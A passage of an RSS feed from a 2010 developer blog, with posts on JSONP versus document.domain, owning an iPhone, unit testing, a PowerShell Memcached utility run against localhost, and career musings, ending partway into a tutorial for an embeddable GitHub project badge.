<p>JSONP vs <code>document.domain</code> isn't a cut and dry comparison. JSONP lets anyone consume and share data, whereas overriding the <code>document.domain</code> lets you share resources within a common root domain. In simple cases where your only concern is sharing data within a single domain (exclusively on HTTP or exclusively on HTTPS), then overriding the domain works well, but in cases where you want to share or consume external data that may be passed over HTTP or HTTPS you'd probably want to stick with JSONP.</p>
<p><a href="http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/">The Project Badge</a> makes use of JSONP so it can work on your website. Most of <a href="http://adam.kahtava.com/publicly-available-web-services/">my publicly available web services</a> also make use of JSONP through a WCF <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk/AdamDotCom.Common.Service/Source/Common/Infrastructure/JSONP/JSONPBehavior.cs">JSONPBehavior</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ieg3DQQV9Xw:wORrhF4V8QA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ieg3DQQV9Xw:wORrhF4V8QA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ieg3DQQV9Xw:wORrhF4V8QA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ieg3DQQV9Xw:wORrhF4V8QA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ieg3DQQV9Xw:wORrhF4V8QA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ieg3DQQV9Xw:wORrhF4V8QA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ieg3DQQV9Xw:wORrhF4V8QA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ieg3DQQV9Xw:wORrhF4V8QA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/ieg3DQQV9Xw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/03/18/the-same-origin-policy-jsonp-vs-the-documentdomain-property/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/03/18/the-same-origin-policy-jsonp-vs-the-documentdomain-property/</feedburner:origLink></item>
		<item>
		<title>The iPhone</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/f5hEK7eetXQ/</link>
		<comments>http://adam.kahtava.com/journal/2010/03/16/the-iphone/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 17:00:04 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2460</guid>
		<description><![CDATA[About a year ago I purchased my first ever cellphone (an iPhone) - before the smart phones I'd grab any old freebie phone that came with a multi-year phone contract. Getting an iPhone was simple enough, but the reactions to owning one have been surprising. Responses have swung from: "Right on! Welcome to the fold!" [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/kahtava/4432717937/in/set-72157604066415953/"><img src="http://farm5.static.flickr.com/4005/4432717937_52f2a754a7_m.jpg" alt="" /></a></div>
<p>About a year ago I purchased my first ever cellphone (an iPhone) - before the smart phones I'd grab any old freebie phone that came with a multi-year phone contract. </p>
<p>Getting an iPhone was simple enough, but the reactions to owning one have been surprising. Responses have swung from: <em>"Right on! Welcome to the fold!"</em> to <em>"Oh, an iPhone, it's just a status symbol."</em> </p>
<p>I <em>will be</em> the first to admit that I'm more likely to whip out my new phone, but did you see my old phone? It was a the size of an Oh Henry! bar, the buttons faded, the screen cracked, and the antenna was a lightning rod - yes that <em>is</em> a picture of my old phone. Sure, I could have been a hero, milked another 5 years out of the old phone, but... I could also give up my washing machine for a washboard, my bike for a horse, and start burning candles. :)</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=f5hEK7eetXQ:dxFhdMpYteg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=f5hEK7eetXQ:dxFhdMpYteg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=f5hEK7eetXQ:dxFhdMpYteg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=f5hEK7eetXQ:dxFhdMpYteg:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=f5hEK7eetXQ:dxFhdMpYteg:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=f5hEK7eetXQ:dxFhdMpYteg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=f5hEK7eetXQ:dxFhdMpYteg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=f5hEK7eetXQ:dxFhdMpYteg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/f5hEK7eetXQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/03/16/the-iphone/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/03/16/the-iphone/</feedburner:origLink></item>
		<item>
		<title>More Reasons For Testing: Prevent The Morning-After Syndrome</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/MyVNAUKLkic/</link>
		<comments>http://adam.kahtava.com/journal/2010/03/11/more-reasons-for-testing-prevent-the-morning-after-syndrome/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 17:00:22 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Book]]></category>
		<category><![CDATA[Quality Assurance]]></category>
		<category><![CDATA[Testing]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2418</guid>
		<description><![CDATA[Testing (Test Driven Design, Unit Testing, Mocking) is a part of developer popular culture - most developers understand that by writing the tests first we're forced to focus on the important details as we build software, that by writing tests we prove that our software works as we build it, and that by running our [...]]]></description>
			<content:encoded><![CDATA[<p>Testing (<a href="http://en.wikipedia.org/wiki/Test-driven_development">Test Driven Design</a>, <a href="http://en.wikipedia.org/wiki/Unit_testing">Unit Testing</a>, <a href="http://en.wikipedia.org/wiki/Mock_object">Mocking</a>) is a part of developer popular culture - most developers understand that by writing the tests first we're forced to focus on the important details as we build software, that by writing tests we prove that our software works as we build it, and that by running our test suite against our changes we gain assurance that our code still works, but did you know that testing is also a cure for the <em>'morning-after syndrome'</em>?</p>
<p>The <em>'morning-after syndrome'</em> as described by Uncle Bob (Robert C. Martin):</p>
<blockquote><p>Have you ever worked all day, gotten some stuff working, and then gone home, only to arrive the next morning to find that your stuff no longer works? Why doesn't it work? Because somebody stayed later than you and changed something you depended on! I call this 'the morning-after syndrome'. - Robert C. Martin, <a href="http://www.amazon.com/Agile-Principles-Patterns-Practices-C/dp/0131857258">Agile Principles, Patterns, and Practices in C#</a>
</p></blockquote>
<p>Bob makes the point that by writing tests we make our code more stable and brittle to change, which prevents our coworkers from making casual breaking changes. Sure-sure, brittle tests are frustrating when refactoring, but at the same time these brittle tests accentuate the importance that the code under test should not be modified. Core components that your system depends on should be stable and brittle.</p>
<p>Bob continues:</p>
<blockquote><p>Many factors make a software component difficult to change: its size, complexity, clarity, and so on. But we are going to ignore all those factors and focus on something different. One sure way to make a software component difficult to change is to make lots of other software components [like tests] depend on it. A component with lots of incoming dependencies is very stable, because it requires a great deal of work to reconcile any changes with all the dependent components. - Robert C. Martin, <a href="http://www.amazon.com/Agile-Principles-Patterns-Practices-C/dp/0131857258">Agile Principles, Patterns, and Practices in C#</a></p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=MyVNAUKLkic:KhM6Rtfw2SI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=MyVNAUKLkic:KhM6Rtfw2SI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=MyVNAUKLkic:KhM6Rtfw2SI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=MyVNAUKLkic:KhM6Rtfw2SI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=MyVNAUKLkic:KhM6Rtfw2SI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=MyVNAUKLkic:KhM6Rtfw2SI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=MyVNAUKLkic:KhM6Rtfw2SI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=MyVNAUKLkic:KhM6Rtfw2SI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/MyVNAUKLkic" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/03/11/more-reasons-for-testing-prevent-the-morning-after-syndrome/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/03/11/more-reasons-for-testing-prevent-the-morning-after-syndrome/</feedburner:origLink></item>
		<item>
		<title>Memcached On PowerShell</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/1P8FJiwhkZY/</link>
		<comments>http://adam.kahtava.com/journal/2010/03/09/memcached-on-powershell/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 17:00:44 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[PowerShell]]></category>
		<category><![CDATA[Testing]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2383</guid>
		<description><![CDATA[Memcached has been around for a while, but it's still pretty neat. Experiencing a bottleneck with your Object Relational Mappers, Services, Middleware, Database, or whatever? Then Memcached it! Memcached was intially developed for LiveJournal by Danga Interactive in 2003, and is used by many large sites (YouTube, Amazon, Twitter, to name a few). Today, you [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://memcached.org/">Memcached</a> has been around for a while, but it's still pretty neat. </p>
<p><em>Experiencing a bottleneck with your Object Relational Mappers, Services, Middleware, Database, or whatever? Then Memcached it!</em></p>
<p>Memcached was intially developed for LiveJournal by Danga Interactive in 2003, and is used by many large sites (YouTube, Amazon, Twitter, to name a few). Today, you can find a Memcached library for all your favourite languages (<a href="http://code.google.com/p/memcached/wiki/Clients">here's the list</a>).</p>
<p>Now; cache testing is tough period, and testing Memcached (which is accessed through a <a href="http://lzone.de/articles/memcached.htm">telnet</a> client) is even more difficult - it's fair to mention that there are a large number of wrappers for Memcached outside the .NET world, but I couldn't find one for that met my needs. </p>
<h3>Introducing Memcached on Powershell</h3>
<p><strong>Sample usage and output</strong></p>
<p>Loading the script (source can be found <a href="http://github.com/AdamDotCom/memcached-on-powershell/raw/master/memcached-on-powershell.ps1">here</a>)</p>
<div class="igBar"><span id="lcode-12"><a href="#" onclick="javascript:showPlainTxt('code-12'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-12">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">PS C:\&gt; .\memcached-on-powershell.<span style="">ps1</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Checking Memcached stats on an empty instance</p>
<div class="igBar"><span id="lcode-13"><a href="#" onclick="javascript:showPlainTxt('code-13'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-13">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">PS C:\&gt; memcached-stats <span style="color:#800000;color:#800000;">127</span>.<span style="color:#800000;color:#800000;">0</span>.<span style="color:#800000;color:#800000;">0</span>.<span style="color:#800000;color:#800000;">1</span> <span style="color:#800000;color:#800000;">11211</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Total items in cache:&nbsp; <span style="color:#800000;color:#800000;">0</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">No slabs found </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Checking Memcached stats after items have been added to the cache</p>
<div class="igBar"><span id="lcode-14"><a href="#" onclick="javascript:showPlainTxt('code-14'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-14">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">PS C:\&gt; memcached-stats <span style="color:#800000;color:#800000;">127</span>.<span style="color:#800000;color:#800000;">0</span>.<span style="color:#800000;color:#800000;">0</span>.<span style="color:#800000;color:#800000;">1</span> <span style="color:#800000;color:#800000;">11211</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Total items in cache:&nbsp; <span style="color:#800000;color:#800000;">3</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Stats for Slab:&nbsp; <span style="color:#800000;color:#800000;">1</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Key: <span style="color:#CC0000;">'resume-service:resume:adam-kahtava'</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Key: <span style="color:#CC0000;">'open-source-service:github:adamdotcom'</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Key: <span style="color:#CC0000;">'open-source-service:googlecode:adam.kahtava.com'</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Clearing all Memcached items</p>
<div class="igBar"><span id="lcode-15"><a href="#" onclick="javascript:showPlainTxt('code-15'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-15">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">PS C:\&gt; clear-memcached-items <span style="color:#800000;color:#800000;">127</span>.<span style="color:#800000;color:#800000;">0</span>.<span style="color:#800000;color:#800000;">0</span>.<span style="color:#800000;color:#800000;">1</span> <span style="color:#800000;color:#800000;">11211</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Total items in cache:&nbsp; <span style="color:#800000;color:#800000;">0</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Checking Memcached stats on a cleared instance</p>
<div class="igBar"><span id="lcode-16"><a href="#" onclick="javascript:showPlainTxt('code-16'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-16">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">PS C:\&gt; memcached-stats <span style="color:#800000;color:#800000;">127</span>.<span style="color:#800000;color:#800000;">0</span>.<span style="color:#800000;color:#800000;">0</span>.<span style="color:#800000;color:#800000;">1</span> <span style="color:#800000;color:#800000;">11211</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Total items in cache:&nbsp; <span style="color:#800000;color:#800000;">0</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Stats for Slab:&nbsp; <span style="color:#800000;color:#800000;">1</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Empty </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>If your test obsessed then you might be interested in the Memcached <a href="http://github.com/memcached/memcached/tree/master/t/">tests</a>.</p>
<p>As always feel free to contribute, view, or download the source <a href="http://github.com/AdamDotCom/memcached-on-powershell">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=1P8FJiwhkZY:NsZg74q2qJc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=1P8FJiwhkZY:NsZg74q2qJc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=1P8FJiwhkZY:NsZg74q2qJc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=1P8FJiwhkZY:NsZg74q2qJc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=1P8FJiwhkZY:NsZg74q2qJc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=1P8FJiwhkZY:NsZg74q2qJc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=1P8FJiwhkZY:NsZg74q2qJc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=1P8FJiwhkZY:NsZg74q2qJc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/1P8FJiwhkZY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/03/09/memcached-on-powershell/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/03/09/memcached-on-powershell/</feedburner:origLink></item>
		<item>
		<title>Developers, Don’t Let Your Babies Grow Up To Be Programmers</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/_1xsnnrPDJE/</link>
		<comments>http://adam.kahtava.com/journal/2010/03/02/developers-dont-let-your-babies-grow-up-to-be-programmers/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 17:00:23 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2364</guid>
		<description><![CDATA[Experts continue to warn of a looming shortage of North American scientists, engineers, developers, and IT workers in general. Efforts like the K-12 CS Model Curriculum attempt to introduce computer science concepts to children as they progress through grade / high school in hopes that they'll fill this void, but there's another issue in play. [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/_mm_/153887567/"><img src="http://farm1.static.flickr.com/46/153887567_39dfbd6b4d_m.jpg" alt="" /></a></div>
<p>Experts continue to warn of a looming shortage of North American scientists, engineers, developers, and IT workers in general. Efforts like the <a href="http://www.csta.acm.org/Curriculum/sub/ACMK12CSModel.html">K-12 CS Model Curriculum</a> attempt to introduce computer science concepts to children as they progress through grade / high school in hopes that they'll fill this void, but there's another issue in play. Developers don't let their children grow up to be programmers.</p>
<p>My hunch is that, most engineers, developer, or related IT professional would rather see their children succeed them - becoming doctors and lawyers and such, not an IT professional.</p>
<p>Malcom Gladwell (in <a href="http://www.amazon.com/Outliers-Story-Success-Malcolm-Gladwell/dp/0316017922/">Outliers</a>) presents an interesting account of career progressions within family trees:</p>
<blockquote><p>In 1982, a sociology graduate student named Louise Farkas went to visit a number of nursing homes and residential hotels [she was looking for] the children of people [who had immigrated] at the turn of the last century. And for each of the people she interviewed, she constructed a family tree showing what a line of parents and children and grandchildren and, in some cases, great-grandchildren did for a living.</p>
<p>Here is her account of "subject #18":</p>
<p><strong>A Russian tailor artisan comes to America, takes to the needle trade, works in a sweat shop for a small salary.</strong> Later takes garments to finish at home with the help of his wife and older children. In order to increase his salary he works through the night. Later he makes a garment and sells it on New York streets. He accumulates some capital and goes into a business venture with his sons. They open a shop to create men's garments. The Russian tailor and his sons become men's suit manufacturers supplying several men's stores The sons and the father become prosperous. <strong>The sons' children become educated professionals.</strong></p>
<p>Farkas's ... family trees go on for pages, each virtually identical to the one before</p></blockquote>
<p>From my observations, many developers / IT workers are first generation middle class, first generation post secondary educated, immigrants, or all of the above (myself included). Being a developer or IT professional is a small step up the ladder in helping our successors succeed. </p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=_1xsnnrPDJE:zpwCVIKZPPo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=_1xsnnrPDJE:zpwCVIKZPPo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=_1xsnnrPDJE:zpwCVIKZPPo:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=_1xsnnrPDJE:zpwCVIKZPPo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=_1xsnnrPDJE:zpwCVIKZPPo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=_1xsnnrPDJE:zpwCVIKZPPo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=_1xsnnrPDJE:zpwCVIKZPPo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=_1xsnnrPDJE:zpwCVIKZPPo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/_1xsnnrPDJE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/03/02/developers-dont-let-your-babies-grow-up-to-be-programmers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/03/02/developers-dont-let-your-babies-grow-up-to-be-programmers/</feedburner:origLink></item>
		<item>
		<title>The Project Badge: Show The World Your GitHub and Google Code Projects On Your Blog</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/gfFIn0E70jM/</link>
		<comments>http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 17:00:10 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[ADC Services]]></category>
		<category><![CDATA[ADC Website]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Services]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2298</guid>
		<description><![CDATA[The Project Badge displays your GitHub and Google Code projects in a badge that can be displayed on your site. This widget was built on the data being returned from my Open Source Service. View this post outside your RSS reader to see it in action or view it here. The source for the Project [...]]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://adam.kahtava.com/etcetera/open-source-project-badge/" style="border-width: 0px; width: 320px; height: 370px; margin-left: 15px; float: left;"> </iframe></p>
<p>The Project Badge displays your GitHub and Google Code projects in a badge that can be displayed on your site. This widget was built on the data being returned from my <a href="http://adam.kahtava.com/journal/2010/02/11/introducing-my-open-source-projects-service-grab-your-project-details-from-github-or-google-code/">Open Source Service</a>. </p>
<p><em>View this post outside your RSS reader to see it in action or view it <a href="http://adam.kahtava.com/etcetera/open-source-project-badge/">here</a>.</em></p>
<p>The source for the Project Badge can be found <a href="http://github.com/AdamDotCom/project-badge/">here</a> and the source for the accompanying service can be found <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.OpenSource.Service/Source/Service">here</a>. A list of all my publicly available web services can be found <a href="http://adam.kahtava.com/publicly-available-web-services/">here</a>.</p>
<div style="clear:both;"></div>
<h3>Using The Project Badge On Your Website or Blog</h3>
<p><strong>1. Add The Asset References</strong></p>
<p>Add the following asset references, and a reference to jQuery (if you don't have one already).</p>
<div class="igBar"><span id="lhtml-20"><a href="#" onclick="javascript:showPlainTxt('html-20'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">HTML:</span>
<div id="html-20">
<div class="html">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/link.html"><span style="color: #000000; font-weight: bold;">&lt;link</span></a> <span style="color: #000066;">rel</span>=<span style="color: #ff0000;">"stylesheet"</span> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/css"</span> <span style="color: #000066;">href</span>=<span style="color: #ff0000;">"http://github.com/AdamDotCom/project-badge/raw/master/project-badge.css"</span> /<span style="color: #000000; font-weight: bold;">&gt;</span></a></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">&lt;script</span></a> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/javascript"</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">"http://github.com/AdamDotCom/project-badge/raw/master/projectBadge.js"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span></span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p><strong>2. Configure Your Accounts</strong></p>
<p>Set your project accounts (it's OK if you only use one host) then optionally set the appropriate filters - in my case <a href="http://code.google.com/u/adam.kahtava.com/">my Google Code projects</a> were prefixed with <em>adamdotcom</em> and I had duplicate projects on both GitHub and Google Code. By specifying <em>remove:adamdotcom,remove:duplicate-items</em> in my filters I filter out the duplicates and removed <em>adamdotcom</em> from the project name.</p>
<div class="igBar"><span id="ljavascript-21"><a href="#" onclick="javascript:showPlainTxt('javascript-21'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">JavaScript:</span>
<div id="javascript-21">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
